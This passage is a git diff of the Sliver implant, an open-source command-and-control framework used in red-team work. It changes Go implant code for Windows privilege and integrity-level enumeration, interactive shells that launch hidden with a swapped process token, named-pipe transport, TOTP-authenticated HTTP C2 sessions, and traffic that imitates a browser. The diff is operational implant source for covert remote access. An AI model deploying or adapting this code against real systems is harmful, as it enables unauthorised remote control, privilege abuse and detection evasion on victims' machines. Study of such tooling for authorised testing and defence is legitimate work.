+		return ""
+	}
+
+	return str[1:37]
 }

implant/sliver/limits/limits_default.go

@@ -1,4 +1,4 @@
-//go:build !(linux || darwin || windows)
+// +build !windows !linux !darwin
 
 package limits
 

implant/sliver/priv/priv_windows.go

@@ -42,11 +42,7 @@ import (
 )
 
 const (
-	THREAD_ALL_ACCESS             = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
-	SECURITY_MANDATORY_LOW_RID    = 0x00001000
-	SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
-	SECURITY_MANDATORY_HIGH_RID   = 0x00003000
-	SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
+	THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
 )
 
 type PrivilegeInfo struct {
@@ -344,60 +340,6 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
 	return
 }
 
-func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
-	// A place to put the size of the token integrity information
-	var tokenIntegrityBufferSize uint32
-
-	// Determine the integrity of the process
-	windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
-
-	if tokenIntegrityBufferSize < 4 {
-		// {{if .Config.Debug}}
-		log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
-		// {{end}}
-		return "Unknown", nil
-	}
-
-	tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
-
-	err := windows.GetTokenInformation(processToken,
-		windows.TokenIntegrityLevel,
-		&tokenIntegrityBuffer[0],
-		tokenIntegrityBufferSize,
-		&tokenIntegrityBufferSize,
-	)
-
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Println("Error in call to GetTokenInformation (integrity): ", err)
-		// {{end}}
-		return "", err
-	}
-
-	/*
-		When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
-		is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
-		which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
-
-		We need the last 4 bytes (uint32) from the structure because that contains the attributes.  The attributes
-		tell us what privilege level we are operating at.
-	*/
-
-	var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
-
-	if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
-		return "Untrusted", nil
-	} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
-		return "Low", nil
-	} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
-		return "Medium", nil
-	} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
-		return "High", nil
-	}
-
-	return "Unknown", nil
-}
-
 func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
 	/*
 	   We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
@@ -406,8 +348,6 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
 
 	   Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
 	   mkwinsyscall, so we are good to go.
-
-	   mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
 	*/
 
 	// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
@@ -441,73 +381,44 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
 	return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
 }
 
-func GetPrivs() ([]PrivilegeInfo, string, string, error) {
+func GetPrivs() ([]PrivilegeInfo, error) {
 	// A place to store the process token
-	var tokenHandle windows.Token
-
-	// Process integrity
-	var integrity string
-
-	// The current process name
-	var processName string
+	var tokenHandle syscall.Token
 
 	// A place to put the size of the token information
 	var tokenInfoBufferSize uint32
 
 	// Get a handle for the current process
-	currentProcHandle, err := windows.GetCurrentProcess()
+	currentProcHandle, err := syscall.GetCurrentProcess()
 
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Println("Could not get a handle for the current process: ", err)
 		// {{end}}
-		return nil, integrity, processName, err
-	}
-
-	// Get the PID for the current process
-	sessionPID, err := windows.GetProcessId(currentProcHandle)
-
-	// This error is not fatal.  Worst case, we can display the PID from the registered session
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Println("Could not get PID for current process: ", err)
-		// {{end}}
-	} else {
-		// Get process info for the current PID
-		processInformation, err := ps.FindProcess(int(sessionPID))
-
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
-			// {{end}}
-		}
-
-		if processInformation != nil {
-			processName = processInformation.Executable()
-		}
+		return nil, err
 	}
 
 	// Get the process token from the current process
-	err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
+	err = syscall.OpenProcessToken(currentProcHandle, syscall.TOKEN_QUERY, &tokenHandle)
 
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Println("Could not open process token: ", err)
 		// {{end}}
-		return nil, integrity, processName, err
+		return nil, err
 	}
 
 	// Get the size of the token information buffer so we know how large of a buffer to allocate
 	// This produces an error about a data area passed to the syscall being too small, but
 	// we do not care about that because we just want to know how big of a buffer to make
-	windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
+	syscall.GetTokenInformation(tokenHandle, syscall.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
 
 	// Make the buffer and get token information
 	// Using a bytes Buffer so that we can Read from it later
 	tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
 
-	err = windows.GetTokenInformation(tokenHandle,
-		windows.TokenPrivileges,
+	err = syscall.GetTokenInformation(tokenHandle,
+		syscall.TokenPrivileges,
 		&tokenInfoBuffer.Bytes()[0],
 		uint32(tokenInfoBuffer.Len()),
 		&tokenInfoBufferSize,
@@ -515,9 +426,9 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Println("Error in call to GetTokenInformation (privileges): ", err)
+		log.Println("Error in call to GetTokenInformation: ", err)
 		// {{end}}
-		return nil, integrity, processName, err
+		return nil, err
 	}
 
 	// The first 32 bits is the number of privileges in the structure
@@ -528,7 +439,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 		// {{if .Config.Debug}}
 		log.Println("Could not read the number of privileges from the token information.")
 		// {{end}}
-		return nil, integrity, processName, err
+		return nil, err
 	}
 
 	/*
@@ -557,7 +468,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 			// {{if .Config.Debug}}
 			log.Println("Could not read the LUID from the binary stream: ", err)
 			// {{end}}
-			return privInfo, integrity, processName, err
+			return privInfo, err
 		}
 
 		// Read the attributes
@@ -566,7 +477,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 			// {{if .Config.Debug}}
 			log.Println("Could not read the attributes from the binary stream: ", err)
 			// {{end}}
-			return privInfo, integrity, processName, err
+			return privInfo, err
 		}
 
 		currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
@@ -574,7 +485,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 			// {{if .Config.Debug}}
 			log.Println("Could not get privilege info based on the LUID: ", err)
 			// {{end}}
-			return privInfo, integrity, processName, err
+			return privInfo, err
 		}
 
 		// Figure out the attributes
@@ -586,12 +497,5 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 		privInfo[index] = currentPrivInfo
 	}
 
-	// Get the process integrity before we leave
-	integrity, err = getProcessIntegrityLevel(tokenHandle)
-
-	if err != nil {
-		return privInfo, "Could not determine integrity level", processName, err
-	}
-
-	return privInfo, integrity, processName, nil
+	return privInfo, nil
 }

implant/sliver/proxy/provider_default.go

@@ -1,6 +1,4 @@
-//go:build !(linux || darwin || windows)
-
-package proxy
+// +build !windows !linux !darwin
 
 // Copyright 2018, Rapid7, Inc.
 // License: BSD-3-clause
@@ -15,6 +13,8 @@ package proxy
 // may be used to endorse or promote products derived from this software
 // without specific prior written permission.
 
+package proxy
+
 import (
 	"bufio"
 	"bytes"

implant/sliver/shell/shell-pty.go

@@ -1,115 +0,0 @@
-//go:build darwin || linux || freebsd || openbsd || dragonfly
-
-package shell
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"os/exec"
-
-	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
-)
-
-var (
-	// Shell constants
-	bash = []string{"/bin/bash"}
-	sh   = []string{"/bin/sh"}
-)
-
-// Start - Start a process
-func Start(command string) error {
-	cmd := exec.Command(command)
-	return cmd.Start()
-}
-
-// StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
-	if enablePty {
-		return ptyShell(tunnelID, command)
-	}
-	return pipedShell(tunnelID, command)
-}
-
-func pipedShell(tunnelID uint64, command []string) *Shell {
-	// {{if .Config.Debug}}
-	log.Printf("[shell] %s", command)
-	// {{end}}
-
-	cmd := exec.Command(command[0], command[1:]...)
-	stdin, err := cmd.StdinPipe()
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] stdin pipe failed\n")
-		// {{end}}
-		return nil
-	}
-	stdout, err := cmd.StdoutPipe()
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] stdout pipe failed\n")
-		// {{end}}
-		return nil
-	}
-
-	return &Shell{
-		ID:      tunnelID,
-		Command: cmd,
-		Stdout:  stdout,
-		Stdin:   stdin,
-	}
-}
-
-func ptyShell(tunnelID uint64, command []string) *Shell {
-	// {{if .Config.Debug}}
-	log.Printf("[ptmx] %s", command)
-	// {{end}}
-
-	cmd := exec.Command(command[0], command[1:]...)
-	term, err := pty.Start(cmd)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[term] %v, falling back to piped shell...", err)
-		// {{end}}
-		return pipedShell(tunnelID, command)
-	}
-	cmd.Start()
-
-	return &Shell{
-		ID:      tunnelID,
-		Command: cmd,
-		Stdout:  term,
-		Stdin:   term,
-	}
-}
-
-// GetSystemShellPath - Find bash or sh
-func GetSystemShellPath(path string) []string {
-	if exists(path) {
-		return []string{path}
-	}
-	if exists(bash[0]) {
-		return bash
-	}
-	return sh
-}

implant/sliver/shell/shell.go

@@ -20,8 +20,30 @@ package shell
 
 import (
 	"io"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
 	"os"
 	"os/exec"
+
+	// {{if ne .Config.GOOS "windows"}}
+	"runtime"
+
+	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
+	// {{end}}
+
+	// {{if eq .Config.GOOS "windows"}}
+	"syscall"
+
+	"github.com/bishopfox/sliver/implant/sliver/priv"
+	"golang.org/x/sys/windows"
+	// {{end}}
+)
+
+const (
+	readBufSize = 1024
 )
 
 // Shell - Struct to hold shell related data
@@ -32,12 +54,89 @@ type Shell struct {
 	Stdin   io.WriteCloser
 }
 
+// Start - Start a process
+func Start(command string) error {
+	cmd := exec.Command(command)
+	//{{if eq .Config.GOOS "windows"}}
+	cmd.SysProcAttr = &windows.SysProcAttr{
+		Token:      syscall.Token(priv.CurrentToken),
+		HideWindow: true,
+	}
+	//{{end}}
+	return cmd.Start()
+}
+
+// StartInteractive - Start a shell
+func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
+
+	// {{if ne .Config.GOOS "windows"}}
+	if enablePty && runtime.GOOS != "windows" {
+		return ptyShell(tunnelID, command)
+	}
+	// {{end}}
+
+	return pipedShell(tunnelID, command)
+}
+
+func pipedShell(tunnelID uint64, command []string) *Shell {
+	// {{if .Config.Debug}}
+	log.Printf("[shell] %s", command)
+	// {{end}}
+
+	var cmd *exec.Cmd
+	cmd = exec.Command(command[0], command[1:]...)
+	//{{if eq .Config.GOOS "windows"}}
+	cmd.SysProcAttr = &windows.SysProcAttr{
+		Token:      syscall.Token(priv.CurrentToken),
+		HideWindow: true,
+	}
+	//{{end}}
+
+	stdin, _ := cmd.StdinPipe()
+	stdout, _ := cmd.StdoutPipe()
+	// cmd.Start()
+
+	return &Shell{
+		ID:      tunnelID,
+		Command: cmd,
+		Stdout:  stdout,
+		Stdin:   stdin,
+	}
+}
+
 // StartAndWait starts a system shell then waits for it to complete
 func (s *Shell) StartAndWait() {
 	s.Command.Start()
 	s.Command.Wait()
 }
 
+// {{if ne .Config.GOOS "windows"}}
+func ptyShell(tunnelID uint64, command []string) *Shell {
+	// {{if .Config.Debug}}
+	log.Printf("[ptmx] %s", command)
+	// {{end}}
+
+	var cmd *exec.Cmd
+	cmd = exec.Command(command[0], command[1:]...)
+	ptmx, err := pty.Start(cmd)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[ptmx] %v, falling back to piped shell...", err)
+		// {{end}}
+		return pipedShell(tunnelID, command)
+	}
+	cmd.Start()
+
+	return &Shell{
+		ID:      tunnelID,
+		Command: cmd,
+		Stdout:  ptmx,
+		Stdin:   ptmx,
+	}
+}
+
+// {{end}}
+
 func exists(path string) bool {
 	_, err := os.Stat(path)
 	if err == nil {

implant/sliver/shell/shell_darwin.go

@@ -1,10 +1,8 @@
-//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
-
-package version
+package shell
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2019  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -18,14 +16,21 @@ package version
 
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-
-	-----------------------------------------------------------------------
-
-	Place holder so we don't get undefined functions in generic builds.
-
 */
 
-// GetVersion returns the os version information
-func GetVersion() string {
-	return ""
+var (
+	// Shell constants
+	bash = []string{"/bin/bash"}
+	sh   = []string{"/bin/sh"}
+)
+
+// GetSystemShellPath - Find bash or sh
+func GetSystemShellPath(path string) []string {
+	if exists(path) {
+		return []string{path}
+	}
+	if exists(bash[0]) {
+		return bash
+	}
+	return sh
 }

implant/sliver/shell/shell_default.go

@@ -1,5 +1,4 @@
-//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
-
+// +build !windows !linux !darwin
 package shell
 
 /*
@@ -21,11 +20,11 @@ package shell
 */
 
 import (
-
+	"io"
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
-
+	"os"
 	"os/exec"
 )
 
@@ -35,6 +34,14 @@ var (
 	sh   = []string{"/bin/sh"}
 )
 
+// Shell - Struct to hold shell related data
+type Shell struct {
+	ID      uint64
+	Command *exec.Cmd
+	Stdout  io.ReadCloser
+	Stdin   io.WriteCloser
+}
+
 // Start - Start a process
 func Start(command string) error {
 	cmd := exec.Command(command)
@@ -42,7 +49,7 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
 	return pipedShell(tunnelID, command)
 }
 
@@ -51,7 +58,9 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	var cmd *exec.Cmd
+	cmd = exec.Command(command[0], command[1:]...)
+
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -85,3 +94,20 @@ func GetSystemShellPath(path string) []string {
 	}
 	return sh
 }
+
+// StartAndWait starts a system shell then waits for it to complete
+func (s *Shell) StartAndWait() {
+	s.Command.Start()
+	s.Command.Wait()
+}
+
+func exists(path string) bool {
+	_, err := os.Stat(path)
+	if err == nil {
+		return true
+	}
+	if os.IsNotExist(err) {
+		return false
+	}
+	return true
+}

implant/sliver/shell/shell_linux.go

@@ -1,10 +1,8 @@
-//go:build !windows
-
-package transports
+package shell
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2019  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -18,19 +16,21 @@ package transports
 
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-
-	-----------------------------------------------------------------------
-
-	Place holder so we don't get undefined functions when compiling to
-	non-Windows platforms.
-
 */
 
-import (
-	"errors"
-	"net/url"
+var (
+	// Shell constants
+	bash = []string{"/bin/bash"}
+	sh   = []string{"/bin/sh"}
 )
 
-func namedPipeConnect(_ *url.URL) (*Connection, error) {
-	return nil, errors.New("not supported")
+// GetSystemShellPath - Find bash or sh
+func GetSystemShellPath(path string) []string {
+	if exists(path) {
+		return []string{path}
+	}
+	if exists(bash[0]) {
+		return bash
+	}
+	return sh
 }

implant/sliver/shell/shell_windows.go

@@ -18,23 +18,13 @@ package shell
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-import (
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"github.com/bishopfox/sliver/implant/sliver/priv"
-	"golang.org/x/sys/windows"
-	"os/exec"
-	"syscall"
-)
-
 var (
 	// Shell constants
 	commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
 	powerShell    = []string{
 		"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
 		"-NoExit",
+		// "-WindowStyle", "Hidden",
 		"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
 	}
 )
@@ -49,40 +39,3 @@ func GetSystemShellPath(path string) []string {
 	}
 	return commandPrompt
 }
-
-// Start - Start a process
-func Start(command string) error {
-	cmd := exec.Command(command)
-	cmd.SysProcAttr = &windows.SysProcAttr{
-		Token:      syscall.Token(priv.CurrentToken),
-		HideWindow: true,
-	}
-	return cmd.Start()
-}
-
-// StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
-	return pipedShell(tunnelID, command)
-}
-
-func pipedShell(tunnelID uint64, command []string) *Shell {
-	// {{if .Config.Debug}}
-	log.Printf("[shell] %s", command)
-	// {{end}}
-
-	var cmd *exec.Cmd
-	cmd = exec.Command(command[0], command[1:]...)
-	cmd.SysProcAttr = &windows.SysProcAttr{
-		Token:      syscall.Token(priv.CurrentToken),
-		HideWindow: true,
-	}
-	stdin, _ := cmd.StdinPipe()
-	stdout, _ := cmd.StdoutPipe()
-
-	return &Shell{
-		ID:      tunnelID,
-		Command: cmd,
-		Stdout:  stdout,
-		Stdin:   stdin,
-	}
-}

implant/sliver/sliver.go

@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
 	filename, err := os.Executable()
 	// Should not happen, but still...
 	if err != nil {
-		// TODO: build the absolute path to os.Args[0]
+		//TODO: build the absolute path to os.Args[0]
 		if 0 < len(os.Args) {
 			filename = os.Args[0]
 		} else {
@@ -287,7 +287,6 @@ func getRegisterSliver() *sliverpb.Envelope {
 		ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
 		ProxyURL:          transports.GetProxyURL(),
 		PollInterval:      uint32(transports.GetPollInterval() / time.Second),
-		ConfigID:          "{{ .Config.ID }}",
 	})
 	if err != nil {
 		// {{if .Config.Debug}}

implant/sliver/transports/crypto.go

@@ -30,14 +30,6 @@ import (
 	"crypto/sha256"
 	"errors"
 	"io"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-	"time"
-
-	"github.com/pquerna/otp"
-	"github.com/pquerna/otp/totp"
 )
 
 const (
@@ -133,18 +125,3 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
 	}
 	return plaintext, nil
 }
-
-func GetOTPCode() string {
-	now := time.Now().UTC()
-	opts := totp.ValidateOpts{
-		Digits:    8,
-		Algorithm: otp.AlgorithmSHA256,
-		Period:    uint(30),
-		Skew:      uint(1),
-	}
-	code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
-	// {{if .Config.Debug}}
-	log.Printf("TOTP Code: %s", code)
-	// {{end}}
-	return code
-}

implant/sliver/transports/named-pipe.go

@@ -1,5 +1,3 @@
-//go:build windows
-
 package transports
 
 /*
@@ -25,18 +23,15 @@ package transports
 import (
 	"bytes"
 	"encoding/binary"
-	"io"
 	"net"
 	"net/url"
 	"strings"
-	"sync"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/lesnuages/go-winio"
 	"google.golang.org/protobuf/proto"
 )
@@ -46,61 +41,6 @@ const (
 	writeBufSizeNamedPipe = 1024
 )
 
-func namedPipeConnect(uri *url.URL) (*Connection, error) {
-	conn, err := namePipeDial(uri)
-	if err != nil {
-		return nil, err
-	}
-	send := make(chan *pb.Envelope)
-	recv := make(chan *pb.Envelope)
-	ctrl := make(chan bool, 1)
-	connection := &Connection{
-		Send:    send,
-		Recv:    recv,
-		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
-		mutex:   &sync.RWMutex{},
-		once:    &sync.Once{},
-		IsOpen:  true,
-		cleanup: func() {
-			// {{if .Config.Debug}}
-			log.Printf("[namedpipe] lost connection, cleanup...")
-			// {{end}}
-			close(send)
-			ctrl <- true
-			close(recv)
-		},
-	}
-
-	go func() {
-		defer connection.Cleanup()
-		for envelope := range send {
-			// {{if .Config.Debug}}
-			log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
-			// {{end}}
-			namedPipeWriteEnvelope(&conn, envelope)
-		}
-	}()
-
-	go func() {
-		defer connection.Cleanup()
-		for {
-			envelope, err := namedPipeReadEnvelope(&conn)
-			if err == io.EOF {
-				break
-			}
-			if err == nil {
-				recv <- envelope
-				// {{if .Config.Debug}}
-				log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
-				// {{end}}
-			}
-		}
-	}()
-	activeConnection = connection
-	return connection, nil
-}
-
 func namePipeDial(uri *url.URL) (net.Conn, error) {
 	address := uri.String()
 	address = strings.ReplaceAll(address, "namedpipe://", "")
@@ -124,7 +64,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
 	_, err = (*conn).Write(dataLengthBuf.Bytes())
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
+		log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
 		// {{end}}
 	}
 	totalWritten := 0
@@ -133,7 +73,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
 		totalWritten += n
 		if err2 != nil {
 			// {{if .Config.Debug}}
-			log.Printf("[namedpipe] Error %s\n", err)
+			log.Printf("[namedpipe] Error %v\n", err)
 			// {{end}}
 		}
 	}
@@ -142,7 +82,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
 		_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
 		if err != nil {
 			// {{if .Config.Debug}}
-			log.Printf("[namedpipe] Error %s", err)
+			log.Printf("[namedpipe] Error %v\n", err)
 			// {{end}}
 		}
 	}
@@ -154,7 +94,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
 	_, err := (*conn).Read(dataLengthBuf)
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Printf("[namedpipe] Error (read msg-length): %s", err)
+		log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
 		// {{end}}
 		return nil, err
 	}
@@ -180,7 +120,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
 	err = proto.Unmarshal(dataBuf, envelope)
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
+		log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
 		// {{end}}
 		return &sliverpb.Envelope{}, err
 	}

implant/sliver/transports/tcp-http.go

@@ -20,6 +20,13 @@ package transports
 
 // {{if .Config.HTTPc2Enabled}}
 
+// Procedural C2
+// ===============
+// .txt = rsakey
+// .jsp = init
+// .php = session
+//  .js = poll
+
 import (
 	"bytes"
 	"crypto/rsa"
@@ -50,17 +57,15 @@ import (
 )
 
 const (
-	userAgent         = "{{GenerateUserAgent}}"
+	defaultUserAgent  = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
 	defaultNetTimeout = time.Second * 60
 	defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
-	nonceQueryArgs    = "abcdefghijklmnopqrstuvwxyz_"
-	acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
 )
 
 // HTTPStartSession - Attempts to start a session with a given address
-func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
+func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
 	var client *SliverHTTPClient
-	client = httpsClient(address, proxyConfig)
+	client = httpsClient(address, true)
 	client.PathPrefix = pathPrefix
 	err := client.SessionInit()
 	if err != nil {
@@ -68,7 +73,7 @@ func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*S
 		if strings.HasSuffix(address, ":443") {
 			address = fmt.Sprintf("%s:80", address[:len(address)-4])
 		}
-		client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
+		client = httpClient(address, true) // Fallback to insecure HTTP
 		err = client.SessionInit()
 		if err != nil {
 			return nil, err
@@ -114,62 +119,23 @@ func (s *SliverHTTPClient) SessionInit() error {
 	return nil
 }
 
-func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
-	req, _ := http.NewRequest(method, uri.String(), body)
-	req.Header.Set("User-Agent", userAgent)
-	if method == http.MethodGet {
-		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
-		req.Header.Set("Accept", acceptHeaderValue)
-	}
-	if uri.Scheme == "http" {
-		req.Header.Set("Upgrade-Insecure-Requests", "1")
-	}
+func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
+	req, _ := http.NewRequest(method, uri, body)
+	req.Header.Set("User-Agent", defaultUserAgent)
+	req.Header.Set("Accept-Language", "en-US")
+	query := req.URL.Query()
+	query.Set("_", fmt.Sprintf("%d", encoderNonce))
+	req.URL.RawQuery = query.Encode()
 	return req
 }
 
-func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
-	values := uri.Query()
-	key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
-	// {{if .Config.Debug}}
-	log.Printf("Encoder nonce %d", value)
-	// {{end}}
-	argValue := fmt.Sprintf("%d", value)
-	for i := 0; i < insecureRand.Intn(3); i++ {
-		index := insecureRand.Intn(len(argValue))
-		char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
-		argValue = argValue[:index] + char + argValue[index:]
-	}
-	values.Add(string(key), argValue)
-	uri.RawQuery = values.Encode()
-	return uri
-}
-
-func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
-	values := uri.Query()
-	key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
-	key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
-	for i := 0; i < insecureRand.Intn(3); i++ {
-		index := insecureRand.Intn(len(value))
-		char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
-		value = value[:index] + char + value[index:]
-	}
-	values.Add(string([]byte{key1, key2}), value)
-	uri.RawQuery = values.Encode()
-	return uri
-}
-
 func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
-	uri := s.keyExchangeURL()
-	nonce, encoder := encoders.RandomTxtEncoder()
-	s.NonceQueryArgument(uri, nonce)
-	otpCode := GetOTPCode()
-	s.OTPQueryArgument(uri, otpCode)
-
+	uri := s.txtURL()
 	// {{if .Config.Debug}}
 	log.Printf("[http] GET -> %s", uri)
 	// {{end}}
-
-	req := s.newHTTPRequest(http.MethodGet, uri, nil)
+	nonce, encoder := encoders.RandomEncoder()
+	req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
 	resp, err := s.Client.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -214,19 +180,22 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
 // We do our own POST here because the server doesn't have the
 // session key yet.
 func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
+
 	nonce, encoder := encoders.RandomEncoder()
+	// {{if .Config.Debug}}
+	log.Printf("[http] sessionInit = %v", sessionInit)
+	// {{end}}
 	payload := encoder.Encode(sessionInit)
+	// {{if .Config.Debug}}
+	log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
+	// {{end}}
 	reqBody := bytes.NewReader(payload) // Already RSA encrypted
 
